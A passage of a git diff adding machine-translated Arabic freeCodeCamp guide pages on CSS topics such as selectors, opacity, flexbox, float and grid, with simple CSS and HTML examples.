+لن يسمح الرمز أعلاه بعرض عنصر أكبر من 300 بكسل.
+
+آمل أن تكون هذه المقالة قد ساعدت في إرضائك مع أبعاد ارتفاع وعرض CSS. أدرجت بعض الروابط أدناه ، إذا كنت ترغب في قراءة المزيد عن هذه الخصائص.
+
+#### معلومات اكثر:
+
+*   أبعاد ارتفاع وعرض CSS: https://www.w3schools.com/css/css\_dimension.asp
+*   خاصية ارتفاع CSS: https://www.w3schools.com/cssref/pr _dim_ height.asp
+*   خاصية عرض CSS: https://css-tricks.com/almanac/properties/w/width/
+*   أطوال CSS: https://developer.mozilla.org/en-US/docs/Web/CSS/length
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/hover-selector/index.md b/client/src/guide/arabic/css/hover-selector/index.md
new file mode 100644
index 0000000000..25dcc3c2e4
--- /dev/null
+++ b/client/src/guide/arabic/css/hover-selector/index.md
@@ -0,0 +1,39 @@
+---
+title: Hover Selector
+localeTitle: تحوم المختار
+---
+## تحوم المختار
+
+يعد CSS `:hover` selector واحدًا من العديد من الفئات الزائفة التي يتم استخدامها لعناصر النمط.
+
+يتم استخدام محدد hover: select لتحديد العناصر عند الفأرة فوقها.
+
+يمكن استخدام محدد hover على جميع العناصر ، وليس فقط على الروابط.
+
+استخدم: محدد الرابط إلى ارتباطات النمط إلى الصفحات غير المتوقعة ، والمنتقي: زيارة للانتقال إلى الارتباطات للصفحات التي تمت زيارتها ، والمحدد النشط لأسلوب الارتباط النشط.
+
+ملاحظة:: يجب أن يكون تمرير الماوس بعد: الرابط و: زيارة (إذا كانت موجودة) في تعريف CSS ، لكي تكون فعالة!
+
+CSS البناء :يحوم { اعلانات css }
+
+يطبق محدد التمرير فقط الأنماط المتوفرة في القاعدة عندما يدخل العنصر في حالة التمرير. هذا هو عندما يمرر المستخدم فوق العنصر باستخدام الماوس الخاص به.
+
+ `button { 
+  color: white; 
+  background-color: green; 
+ } 
+ 
+ button:hover { 
+  background-color: white; 
+  border: 2px solid green; 
+  color: green; 
+ } 
+` 
+
+في المثال أعلاه ، يكون التصميم العادي للزر عبارة عن نص أبيض على زر أخضر. عندما يمرر المستخدم فوق الزر باستخدام الماوس الخاص به ، فإن القاعدة مع `:hover` سوف تصبح نشطة ، وسوف يتغير نمط الزر.
+
+#### معلومات اكثر:
+
+[MDN `:hover` Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes)
+
+يمكنك العثور على العديد من الفئات الزائفة في هذه المقالة حول [مستندات فئات Pseudo-](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes) class من [Mozillia](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/id-selector/index.md b/client/src/guide/arabic/css/id-selector/index.md
new file mode 100644
index 0000000000..1d566ff795
--- /dev/null
+++ b/client/src/guide/arabic/css/id-selector/index.md
@@ -0,0 +1,41 @@
+---
+title: ID Selector
+localeTitle: محدد الهوية
+---
+## محدد الهوية
+
+يطبق محدد معرف CSS الأنماط على عنصر html محدد. يجب أن يطابق محدد معرّف CSS سمة معرف عنصر HTML. على عكس الفصول الدراسية ، والتي يمكن تطبيقها على عناصر متعددة في جميع أنحاء الموقع ، لا يمكن تطبيق معرف معين إلا على عنصر واحد فقط على الموقع. سيحل معرّف CSS محل خصائص CSS Class. لتحديد عنصر بمعرف محدد ، اكتب رمز الهاش (#) ، متبوعًا بمعرّف العنصر.
+
+### بناء الجملة
+
+ `#specified_id { /* styles */ } 
+` 
+
+يمكنك دمج محدد المعرّف مع أنواع أخرى من المحددات لتمييز عنصر محدد جدًا.
+
+ `section#about:hover { color: blue; } 
+ 
+ div.classname#specified_id { color: green; } 
+` 
+
+### ملاحظة حول المعرفات
+
+يجب تجنب معرف عند التصميم إن أمكن. نظرًا لأنه يتمتع بدقة عالية ويمكن تجاوزه فقط في حالة تضمين أنماط ، أو إضافة أنماط إلى `<style>` . يتجاوز وزن محددات تحديد الفئة ومحددات النوع.
+
+تذكر ، يجب أن يتطابق محدد ID مع سمة معرف عنصر HTML.
+
+ `
+<div id="specified_id"><!-- content --></div> 
+` 
+
+### النوعية
+
+تتميز محددات الهوية بدقة عالية مما يجعل من الصعب تجاوزها. تتسم الصفات بخصوصية أقل بشكلٍ كبير وهي عمومًا الطريقة المفضلة لعناصر النمط لتجنب مشكلات الخصوصية. [خصوصية على MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity)
+
+#### معلومات اكثر:
+
+[تحدي freeCodeCamp - تعيين معرف عنصر](https://www.freecodecamp.org/challenges/set-the-id-of-an-element)
+
+[تحدي freeCodeCamp - استخدام سمة المعرف إلى نمط عنصر](https://www.freecodecamp.org/challenges/use-an-id-attribute-to-style-an-element)
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/image-galleries/index.md b/client/src/guide/arabic/css/image-galleries/index.md
new file mode 100644
index 0000000000..155d44a800
--- /dev/null
+++ b/client/src/guide/arabic/css/image-galleries/index.md
@@ -0,0 +1,76 @@
+---
+title: Image Galleries
+localeTitle: معرض الصور
+---
+## معرض الصور
+
+يمكنك استخدام CSS لإنشاء معارض صور خاصة بك.
+
+## معرض الصور مثال
+
+ `<html> 
+ <head> 
+ <style> 
+ div.gallery { 
+    margin: 5px; 
+    border: 1px solid #ccc; 
+    float: left; 
+    width: 180px; 
+ } 
+ 
+ div.gallery:hover { 
+    border: 1px solid #777; 
+ } 
+ 
+ div.gallery img { 
+    width: 100%; 
+    height: 150px; 
+ } 
+ 
+ div.desc { 
+    padding: 15px; 
+    text-align: center; 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="fjords.jpg"> 
+    <img src="https://www.dropbox.com/s/mdj3pjh4jgyeieo/cat1.jpg?raw=1" alt="Image of staring cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="forest.jpg"> 
+    <img src="https://www.dropbox.com/s/i1ow97mcl6ubxhv/cat2.jpg?raw=1" alt="Image of fat cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="lights.jpg"> 
+    <img src="https://www.dropbox.com/s/h6ks8v78ncwur31/cat3.jpg?raw=1" alt="Image of frolicking cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="mountains.jpg"> 
+    <img src="https://www.dropbox.com/s/zda9llgop3j9bf7/cat4.jpg?raw=1" alt="Image of wide-eyed cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ </body> 
+ </html> 
+` 
+
+## النتائج:
+
+![معرض القطط](https://www.dropbox.com/s/vke4gp96aiz6qtv/gallery.PNG?raw=1)
+
+#### معلومات اكثر:
+
+https://www.w3schools.com/css/css _image_ gallery.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/image-opacity-and-transparency/index.md b/client/src/guide/arabic/css/image-opacity-and-transparency/index.md
new file mode 100644
index 0000000000..56fab8351c
--- /dev/null
+++ b/client/src/guide/arabic/css/image-opacity-and-transparency/index.md
@@ -0,0 +1,50 @@
+---
+title: Image Opacity and Transparency
+localeTitle: تعتيم الصورة والشفافية
+---
+## تعتيم الصورة والشفافية
+
+تسمح لك خاصية `opacity` الصورة عن طريق خفض درجة غموضها.
+
+تأخذ `Opacity` درجة تتراوح بين 0.0 و 1.0.
+
+1.0 هي القيمة الافتراضية لأي صورة. انها مبهمة تماما.
+
+مثال
+
+ `img { 
+    opacity: 0.3; 
+ } 
+ ``` 
+ 
+ Include ```filter: alpha(opacity=x)``` for IE8 and earlier. The x takes a value from 0-100. 
+` 
+
+المغلق img { التعتيم: 0.3 ؛ filter: alpha (opacity = 30)؛ }
+
+ `Here's an example of an image set to the parameters in the example above. 
+ ![image at 30% opacity](https://github.com/lvcoulter/images/blob/master/Opacity30percent.jpg?raw=true) 
+ 
+ 
+ You can pair ```opacity``` with ```:hover``` to create a dynamic mouse-over effect. 
+ 
+ Example: 
+` 
+
+المغلق img { التعتيم: 0.3 ؛ filter: alpha (opacity = 30)؛ } img: hover { opacity: 1.0؛ filter: alpha (opacity = 100)؛ }
+
+ `[A codepen example to show a transparent image turning opaque on hover](https://codepen.io/lvcoulter/full/JrzxXa/) 
+ <!--I cannot figure out how to embed a Codepen. I would really like to know--> 
+ 
+ You can create the opposite effect with less code since the image is 1.0 opacity by default 
+ 
+ Example: 
+` 
+
+المغلق img: hover { التعتيم: 0.3 ؛ filter: alpha (opacity = 30)؛ } \`\` \` [مثال codepen لإظهار الشفافية على الماوس](https://codepen.io/lvcoulter/full/xXBQoR/)
+
+#### معلومات اكثر:
+
+\-w3schools.com [CSS Opacity / Transparency](https://www.w3schools.com/css/css_image_transparency.asp)
+
+\-MDN مستندات الويب [Opacity](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/index.md b/client/src/guide/arabic/css/index.md
new file mode 100644
index 0000000000..1f03a5a314
--- /dev/null
+++ b/client/src/guide/arabic/css/index.md
@@ -0,0 +1,25 @@
+---
+title: Cascading Style Sheets (CSS)
+localeTitle: أوراق الأنماط المتتالية (CSS)
+---
+### أوراق الأنماط المتتالية (CSS)
+
+CSS هو اختصار لـ Cascading Style Sheets. تم ابتكارها لأول مرة في عام 1996 ، وهي الآن ميزة قياسية لجميع متصفحات الويب الرئيسية.
+
+تسمح CSS للمطورين بالتحكم في كيفية ظهور صفحات الويب من خلال "تصميم" بنية HTML لتلك الصفحة.
+
+يتم الاحتفاظ بمواصفات CSS بواسطة [اتحاد شبكة الويب العالمية (W3C)](https://www.w3.org/) .
+
+يمكنك بناء بعض الأشياء المذهلة في CSS وحدها ، مثل [لعبة كاسحة الألغام](https://codepen.io/bali_balo/pen/BLJONk) الخالصة CSS (التي لا تستخدم JavaScript).
+
+![](https://cdn-images-1.medium.com/max/800/1*GFcKk9KxqHAnWa1ECcKDOQ.png)
+
+#### واقترح ريدينج:
+
+بداية جيدة هي المناهج freeCodeCamp [مقدمة في CSS الأساسية](https://learn.freecodecamp.org/responsive-web-design/basic-css) .
+
+اقتراح آخر للمبتدئين هو W3C's [Starting مع HTML + CSS](https://www.w3.org/Style/Examples/011/firstcss) يعلم كيفية إنشاء ورقة أنماط.
+
+يعد موقع [CSS Zen Garden](http://www.csszengarden.com/) مثالًا رائعًا على كيفية تصميم نفس تنسيق html لتبدو فريدة تمامًا.
+
+لتوضيح قوة CSS ، تحقق من [الأنواع في القطع](http://species-in-pieces.com/#) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout-horizontal-and-vertical-align/index.md b/client/src/guide/arabic/css/layout-horizontal-and-vertical-align/index.md
new file mode 100644
index 0000000000..5b9d655940
--- /dev/null
+++ b/client/src/guide/arabic/css/layout-horizontal-and-vertical-align/index.md
@@ -0,0 +1,11 @@
+---
+title: Layout Horizontal and Vertical Align
+localeTitle: تخطيط أفقي ورأسي محاذاة
+---
+## تخطيط أفقي ورأسي محاذاة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout-horizontal-and-vertical-align/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/display-property/index.md b/client/src/guide/arabic/css/layout/display-property/index.md
new file mode 100644
index 0000000000..0ffce6f4e6
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/display-property/index.md
@@ -0,0 +1,46 @@
+---
+title: Display Property
+localeTitle: عرض الملكية
+---
+## عرض الملكية
+
+تحدد خاصية `display` نوع المربع المستخدم لعنصر HTML. هناك 20 قيمة للكلمات الرئيسية الإجمالية ، على الرغم من استخدام 10 فقط بشكل شائع. هذه هي شائعة الاستخدام:
+
+ `.none           {display: none} 
+ .block          {display: block} 
+ .inline-block   {display: inline-block} 
+ .inline         {display: inline} 
+ .flex           {display: flex} 
+ .inline-flex    {display: inline-flex} 
+ .inline-table   {display: inline-table} 
+ .table          {display: table} 
+ .inherit        {display: inherit} 
+ .initial        {display: initial} 
+` 
+
+**أمثلة شائعة:**
+
+ `.myBox { 
+    display: block; 
+ } 
+ 
+ .myContainer { 
+    display: flex; 
+ } 
+ 
+ .inlineList ul > li { 
+    display: inline; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   التوثيق والقائمة الكاملة لقيم الكلمات الرئيسية: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+    
+*   يتوفر مرجع CSS الخاص بـ W3Schools على خاصية العرض: [W3Schools](https://www.w3schools.com/cssref/pr_class_display.asp)
+    
+*   يحتوي CSS-TRICKS على مرجع رائع على خاصية العرض: [CSS-Tricks](https://css-tricks.com/almanac/properties/d/display/)
+    
+*   دعم المتصفح: [caniuse](http://caniuse.com/#search=display)
+    
+*   دليل كامل ل Flexbox: [CSS-Tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/flexbox/flex-basis-property/index.md b/client/src/guide/arabic/css/layout/flexbox/flex-basis-property/index.md
new file mode 100644
index 0000000000..e85dddb6b1
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/flexbox/flex-basis-property/index.md
@@ -0,0 +1,47 @@
+---
+title: Flex Basis Property
+localeTitle: خصائص Flex Basis
+---
+# فليكس أساس
+
+تحدد خاصية `flex-basis` حجم `flex-item` طول المحور الرئيسي للحاوية المرنة. يكون المحور الرئيسي أفقيًا إذا تم ضبط `flex-direction` على `row` وسوف يكون عموديًا إذا تم تعيين خاصية `flex-direction` على `column` .
+
+## بناء الجملة
+
+ `flex-basis: auto | content | <width> | <height>; 
+` 
+
+## أساس المرن: السيارات
+
+`flex-basis: auto` بالبحث عن الحجم الرئيسي للعنصر ويحدد الحجم. على سبيل المثال ، في حاوية مرنة أفقية ، سوف تبحث `auto` عن `width` `height` إذا كان محور الحاوية رأسياً.
+
+إذا لم يتم تحديد أي حجم ، فسيتم الرجوع `auto` إلى `content` .
+
+## أساس المرن: المحتوى
+
+`flex-basis: content` يحل `flex-basis: content` الحجم استنادًا إلى محتوى العنصر ، ما لم يتم ضبط `width` أو `height` خلال `box-sizing` العادي.
+
+في كلتا الحالتين حيث يكون `flex-basis` إما `auto` أو `content` ، إذا تم تحديد الحجم الرئيسي ، فإن هذا الحجم سيأخذ الأولوية.
+
+## المرن أساس:
+
+هذا هو مجرد تحديد `width` أو `height` ، ولكن فقط أكثر مرونة. `flex-basis: 20em;` سيحدد الحجم الأولي للعنصر إلى `20em` . وسيستند حجمه النهائي إلى المساحة المتاحة ، `flex-grow` متعدد `flex-shrink` ، `flex-shrink` متعدد الأشكال.
+
+توحي المواصفات استخدام خاصية الاختزال `flex` . هذا يساعد على كتابة `flex-basis` جنبا إلى جنب مع خصائص `flex-grow` `flex-shrink` .
+
+## أمثلة
+
+توجد هنا صفوف من حاويات مرنة فردية وعناصر مرنة فردية توضح كيف أن `flex-basis` يؤثر على `box-sizing` .
+
+![تأثير أساس المرن على المحور الأفقي](https://vijayabharathib.github.io/fcc_guide_images/css/properties/flex-basis-horizontal.png)
+
+عندما يكون `flex-direction` هو `column` ، فإن نفس `flex-basis` تتحكم في خاصية `height` . مثال أدناه ،
+
+![مثال على التحكم في ارتفاع الارتفاع في حاوية رأسية](https://vijayabharathib.github.io/fcc_guide_images/css/properties/flex-basis-vertical.png)
+
+#### معلومات اكثر:
+
+مراجع إضافية على الصفحات التالية:
+
+*   [مستوى](https://drafts.csswg.org/css-flexbox-1/) مواصفات CSS [1](https://drafts.csswg.org/css-flexbox-1/)
+*   صفحة شبكة مطوري موزيلا على [أساس مرن](https://developer.mozilla.org/en-US/docs/Web/CSS/flex-basis#content)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/flexbox/flex-grow/index.md b/client/src/guide/arabic/css/layout/flexbox/flex-grow/index.md
new file mode 100644
index 0000000000..5d325e0e4c
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/flexbox/flex-grow/index.md
@@ -0,0 +1,72 @@
+---
+title: Flex-grow
+localeTitle: فليكس النمو
+---
+# فليكس تنمو
+
+الخاصية المرنة للنمو هي خاصية flexbox تسمح لك بتحديد تخصيص المساحة الخالية للحاويات داخل حاوية مرنة. يوفر حلاً لجميع تلك المساحة غير المرغوب فيها!
+
+سيحول الحاوية من هذا
+
+![](https://i.imgur.com/lFJaBUfh.png)
+
+# **الى هذا**
+
+![](https://i.imgur.com/4X8ITZih.png)
+
+ماذا حدث للتو؟
+
+حسنًا ، أضفنا شيئين إلى بنية css.
+
+HTML
+
+ `
+<p class = "ten">1</p> 
+ <p class = "twenty">2</p> 
+` 
+
+CSS
+
+ `body { 
+  display:flex; 
+ } 
+ 
+ p { 
+  flex-grow: 1; 
+ } 
+` 
+
+حدث شيئان
+
+1.  تم تحويل الحاوية الرئيسية إلى `display:flex`
+2.  بعد ذلك ، تم تخصيص "المساحة الحرة" المتبقية بين حاويات p المتبقية في حصة متساوية لأن كل منها له خاصية مرنة تنمو بنسبة 1.
+
+ماذا يحدث إذا كان لدينا حاويات ف ذات خصائص مرنة مختلفة؟
+
+دعونا نرى مثال.
+
+دعونا أولا إنشاء فقرتين وتمكين العرض: فليكس.
+
+![](https://i.imgur.com/wPqUgsih.png)
+
+لاحظ بعض الأشياء
+
+*   نظام الألوان هو لطيف
+*   هناك بعض المساحة الفارغة على يمين المربعين.
+
+هذه المساحة الفارغة هي "المساحة الحرة" التي سيتم تخصيصها لكل من الفقرات المختلفة في وقت لاحق اعتمادًا على خصائصها المرنة.
+
+لرؤية هذا في العمل ، دعونا نعطي أول واحد فئة من "عشرة" وخصائص مرنة تنمو من 1. دعونا أيضا إعطاء الفئة الثانية فئة "عشرين" وملكية مرنة تنمو من 2.
+
+![](https://i.imgur.com/7n0V1G4h.png)
+
+لاحظ بعض الأشياء
+
+1.  حجم الثاني ليس ضعف الحجم الأول على الرغم من امتلاكه لخاصية مرنة تنمو بمعدل ضعف القيمة الأولى.
+2.  يتم ملء المساحة بالكامل. (تم إضافة بعض الهوامش إلى الجانب لتمكينها من الظهور بشكل أكثر وضوحًا.)
+
+كلما قمنا بتغيير حجم الشاشة ، نجد أيضًا أن الشاشة الأولى تتقلص بمعدل ضعف سرعة الثانية.
+
+![](https://i.imgur.com/pa4grM8h.png)
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/flexbox/flexbox-direction/index.md b/client/src/guide/arabic/css/layout/flexbox/flexbox-direction/index.md
new file mode 100644
index 0000000000..c86bbd624c
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/flexbox/flexbox-direction/index.md
@@ -0,0 +1,33 @@
+---
+title: Flexbox Direction
+localeTitle: اتجاه Flexbox
+---
+## اتجاه Flexbox
+
+الآن بعد أن تعرفت على ما هو flexbox ، حان الوقت للانتقال إلى كيفية ترتيب المحتوى داخل حاوية مرنة. يمكنك ضبط هذا من خلال _الاتجاه المرن_
+
+هناك 4 طرق لضبط الاتجاه المرن
+
+1.  صف
+
+![](https://css-tricks.com/wp-content/uploads/2013/04/flex-direction2.svg)
+
+يتم تعيين الاتجاه المرن إلى الصف بشكل افتراضي. هذا يرتب جميع المحتوى الخاص بك في صف واحد **دون هوامش **.****
+
+2.  الصف العكس
+
+![](https://i-msdn.sec.s-msft.com/dynimg/IC681588.png)
+
+هذا يعكس المحتوى الخاص بك في الاتجاه المعاكس. في الأصل كانت تسير من اليسار إلى اليمين ، والآن من اليمين إلى اليسار.
+
+3.  عمود
+
+![](https://i-msdn.sec.s-msft.com/dynimg/IC681589.png)
+
+يرتب هذا المحتوى الخاص بك في عمود واحد من أعلى إلى أسفل.
+
+4.  عمود العكس
+
+يرتب هذا المحتوى الخاص بك في عمود واحد من أسفل إلى أعلى.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/flexbox/index.md b/client/src/guide/arabic/css/layout/flexbox/index.md
new file mode 100644
index 0000000000..d1957af149
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/flexbox/index.md
@@ -0,0 +1,26 @@
+---
+title: Flexbox
+localeTitle: حول flexbox
+---
+## حول flexbox
+
+Flexbox هي طريقة جديدة لتنظيم المحتوى في CSS3. فهو يوفر طريقة رائعة لإنشاء مواقع ويب سريعة الاستجابة تعمل بشكل جيد عبر أحجام مختلفة للشاشة ومحتوى الطلب.
+
+هناك 3 خطوات بسيطة لاستخدام flexbox.
+
+1.  قم بتحويل حاوية الأصل إلى حاوية مرنة باستخدام _display: flex؛_ في قسم CSS
+2.  ضبط ترتيب الحاويات المختلفة باستخدام _الاتجاه المرن_
+3.  ضبط العناصر الفردية عن طريق استخدام خصائص مثل ضبط - ضبط - محاذاة - عناصر الخ
+
+يهدف Flexbox Layout إلى توفير طريقة أكثر فاعلية لتخطيط ومحاذاة وتوزيع المساحة بين العناصر الموجودة في الحاوية ، حتى عندما يكون حجمها غير معروف و / أو ديناميكيًا (وبالتالي كلمة "flex"). هو إعطاء الحاوية القدرة على تغيير عرض / ارتفاع (وعرض) عناصرها لملء المساحة المتوفرة على أفضل وجه. ![flexUsage](https://cdn.css-tricks.com/wp-content/uploads/2011/08/flexbox.png)
+
+*   **المحور الرئيسي** : **المحور** الرئيسي للحاوية المرنة هو المحور الأساسي الذي يتم وضع العناصر المرنة عليه. حذار ، ليس بالضرورة أفقي. يعتمد ذلك على خاصية الاتجاه المرن (انظر أدناه).
+*   **البداية الرئيسية | نهاية الرئيسية** هي وضع العناصر المرنة داخل حاوية بدءا من الرئيسي بدء والذهاب إلى نهاية الرئيسية.
+:*   **الحجم الرئيسي** : عرض أو ارتفاع العنصر المرن ، أيهما في البعد الرئيسي ، هو الحجم الرئيسي للعنصر. خاصية الحجم الرئيسي للعنصر المرن هي إما خاصية "العرض" أو "الارتفاع" ، أيهما في البعد الرئيسي.
+*   **المحور العرضي** : المحور العمودي على المحور الرئيسي يسمى المحور المتقاطع. يعتمد اتجاهها على اتجاه المحور الرئيسي.
+*   **عبر بداية | نهاية متقاطعة** : يتم تعبئة الخطوط المرن مع العناصر ووضعها في الحاوية بدءاً من الجانب المقابل للبداية من الحاوية المرنة والانتقال إلى الجانب المتقاطع.
+*   **الحجم المتقاطع** : العرض أو الارتفاع لعنصر مرن ، أيهما في البعد المتقاطع ، هو الحجم المتقاطع للعنصر. الخاصية ذات الحجم المتقاطع هي أيهما "عرض" أو "ارتفاع" في البعد المتبادل.
+
+#### معلومات اكثر:
+
+[هذه مقالة رائعة يمكنك](https://medium.freecodecamp.org/an-animated-guide-to-flexbox-d280cf6afc35) قراءتها لفهم المزيد حول flexbox هذا هو دليل عملي موصى به للغاية يوضح خصائص المرن المختلفة المطبقة على الحاوية المرنة والعناصر المرنة التالية: [https://css-tricks.com/snippets/css/a-guide-to-flexbox/](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/float-and-clear/index.md b/client/src/guide/arabic/css/layout/float-and-clear/index.md
new file mode 100644
index 0000000000..e82cb738c8
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/float-and-clear/index.md
@@ -0,0 +1,71 @@
+---
+title: Float and Clear
+localeTitle: تعويم وواضحة
+---
+## تعويم وواضحة
+
+تحدد خاصية `float` CSS كيفية تعويم العنصر.
+
+تحدد الخاصية `clear` CSS العناصر التي يمكن أن تطفو بجانب العنصر الذي تم تطهيره وعلى أي جانب.
+
+### الخاصية `float`
+
+يتم استخدام الخاصية `float` لتحديد المواقع والتخطيط على صفحات الويب.
+
+يمكن أن تحتوي الخاصية `float` على إحدى القيم التالية:
+
+`left` - يطفو العنصر إلى يسار الحاوية الخاصة به `right` - يطفو العنصر إلى يمين الحاوية الخاصة به `none` - لا يطفو العنصر (سيتم عرضه فقط حيث يحدث في النص). هذا هو الافتراضي `inherit` - العنصر يرث قيمة عائم أصله في أبسط استخدام لها ، يمكن استخدام الخاصية `float` لالتفاف النص حول الصور.
+
+#### تعويم في الصورة:
+
+![float image for print layout](https://github.com/jamal-pb95/guides/blob/master/assets/css3-float-print-layout.png "CSS-الحيل تعويم قيمه img")
+
+ `img { 
+    float: right; 
+ } 
+` 
+
+يحدد هذا المثال أن الصورة يجب أن تطفو إلى اليمين في صفحة:
+
+![Float image for web layout](https://github.com/jamal-pb95/guides/blob/master/assets/css3-float-web-text-wrap.png "تعويم img على شبكة الإنترنت")
+
+ `img { 
+    float: left; 
+ } 
+` 
+
+يحدد هذا المثال أن الصورة يجب أن تطفو إلى اليسار في صفحة:
+
+ `img { 
+    float: none; 
+ } 
+` 
+
+في المثال التالي ، سيتم عرض الصورة فقط في مكان حدوثها في النص ( `float: none;` ):
+
+### الممتلكات `clear`
+
+تحدد الخاصية `clear` العناصر التي يمكن أن تطفو بجانب العنصر الممسوح وعلى أي جانب.
+
+يمكن أن تحتوي الخاصية `clear` على إحدى القيم التالية:
+
+`none` - يسمح للعناصر الطافية على كلا الجانبين. هذا هو الافتراضي `left` - لا يسمح بعناصر متحركة على الجانب الأيسر `right` - لا يسمح بالعناصر العائمة على الجانب الأيمن `both` - لا يسمح بالعناصر العائمة على اليسار أو الجانب الأيمن `inherit` - يرث العنصر القيمة الواضحة لأصله الرئيسي الطريقة الأكثر شيوعًا لاستخدام الخاصية `clear` هي بعد استخدام خاصية `float` على عنصر.
+
+عند إزالة العوامات ، يجب أن تتطابق مع `clear` `float` . إذا تم تعويم عنصر إلى `left` ، فعليك `clear` إلى `left` . سيستمر العنصر floated في `float` ، ولكن سيظهر العنصر الذي تم مسحه أسفله في صفحة الويب.
+
+#### مثال:
+
+![unclear footer image](https://github.com/jamal-pb95/guides/blob/master/assets/unclearedfooter.png "صورة تذييل غير واضح") المصدر: CSS-TRICS
+
+ `div { 
+    clear: left; 
+ } 
+` 
+
+![clear footer image](https://github.com/jamal-pb95/guides/blob/master/assets/clearedfooter.png "صورة تذييل واضح") المصدر: CSS-TRICS
+
+### الموارد الإضافية:
+
+*   MDN CSS: [Float](https://developer.mozilla.org/en-US/docs/Web/CSS/float) & [Clear](https://developer.mozilla.org/en-US/docs/Web/CSS/clear)
+*   [W3chools الدروس](https://www.w3schools.com/css/css_float.asp)
+*   CSS-Tricks: [float](https://css-tricks.com/all-about-floats/) & [clear](https://css-tricks.com/almanac/properties/c/clear/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/grid-layout/index.md b/client/src/guide/arabic/css/layout/grid-layout/index.md
new file mode 100644
index 0000000000..e18ed77d46
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/grid-layout/index.md
@@ -0,0 +1,141 @@
+---
+title: Grid Layout
+localeTitle: تخطيط الشبكة
+---
+## تخطيط الشبكة
+
+CSS Network Layout ، والمعروف ببساطة باسم الشبكة ، هو مخطط تخطيط هو الأحدث والأكثر قوة في CSS. وهو [مدعوم من جميع المتصفحات الرئيسية](https://caniuse.com/#feat=css-grid) ويوفر طريقة لوضع العناصر على الصفحة ونقلها.
+
+ويمكنه تعيين العناصر تلقائيًا إلى _مناطق_ وحجمها وتغيير حجمها ، ثم الاهتمام بإنشاء أعمدة وصفوف بناءً على نمط تحدده ، والقيام بكل العمليات الحسابية باستخدام وحدة `fr` المقدمة حديثًا.
+
+### لماذا الشبكة؟
+
+*   يمكنك بسهولة الحصول على شبكة ذات 12 عمودًا بخط واحد من CSS. `grid-template-columns: repeat(12, 1fr)`
+*   الشبكة تتيح لك تحريك الأشياء في أي اتجاه. على عكس Flex ، حيث يمكنك نقل العناصر أفقياً ( `flex-direction: row` ) أو رأسيًا ( `flex-direction: column` ) - ليس كلاهما في نفس الوقت ، تتيح لك الشبكة نقل أي _عنصر شبكة_ إلى أي _منطقة شبكة_ محددة مسبقًا على الصفحة. لا يجب أن تكون العناصر التي تنقلها متاخمة.
+*   باستخدام CSS Grid ، يمكنك **تغيير ترتيب عناصر HTML باستخدام CSS فقط** . حرك شيئًا ما من الأعلى إلى اليمين ، انقل العناصر التي كانت في تذييل إلى الشريط الجانبي ، إلخ. بدلاً من نقل `<div>` من `<footer>` إلى `<aside>` في HTML ، يمكنك فقط تغيير موضعه مع `grid-area` في ورقة أنماط CSS.
+
+### الشبكة مقابل فلكس
+
+*   فليكس هو أحادي البعد - سواء أفقي أو رأسي ، في حين أن الشبكة ثنائية الأبعاد ، مما يعني أنه يمكنك تحريك العناصر في كل من المستويين الأفقي والعمودي
+*   في الشبكة ، نطبق أنماط التخطيط على الحاوية الرئيسية وليس على العناصر. من ناحية أخرى ، يستهدف فليكس العنصر المرن لتعيين خصائص مثل `flex-basis` `flex-grow` `flex-shrink`
+*   الشبكة و Flex ليست حصرية. يمكنك استخدام كليهما في نفس المشروع.
+
+### التحقق من `@supports` المتصفح مع `@supports`
+
+من الناحية المثالية ، عند إنشاء موقع ، يمكنك تصميمه مع الشبكة واستخدام Flex كحل بديل. يمكنك معرفة ما إذا كان المستعرض يدعم الشبكة باستخدام قاعدة CSS `@support` (يُعرف أيضًا باسم استعلام الميزات). إليك مثال على ذلك:
+
+ `.container { 
+  display: grid; /* display grid by default */ 
+ } 
+ 
+ @supports not (display: grid) { /* if grid is not supported by the browser */ 
+  .container { 
+    display: flex; /* display flex instead of grid */ 
